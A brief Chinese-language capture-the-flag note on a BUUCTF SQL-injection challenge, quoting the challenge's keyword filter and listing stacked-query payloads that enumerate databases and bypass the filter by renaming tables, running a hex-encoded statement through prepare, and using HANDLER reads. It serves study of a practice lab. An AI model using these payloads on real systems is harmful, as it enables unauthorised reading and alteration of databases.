CTF-SQL注入笔记

BUUCTF

BUUCTF 随便注

关键字: 堆叠查询、MySQL prepare执行16进制编码后语句、
过滤了关键词return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

?inject=0' order by 3 --+ 
// 看库
?inject=1';show databases; --+
// 看ctftraining表
?inject=1';use ctftraining; show tables; %23

?inject=1';use ctftraining; show columns from FLAG_TABLE; --+这里应该不是flag

逐个看

绕过姿势

1. rename

   • 1’; rename table words to word1; rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

2. prepare from

   • select * from 1919810931114514 (encode hex)
   • set@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare inject1 from @a;excute inject1;
   • 该语句不能同时有set&prepare,随便换个大写即可

3. handler

   • 例子1’; handler FlagHere open as a; handler a read next;#
   • payload: 1’;handler 1919810931114514 open as a;handler a read next; #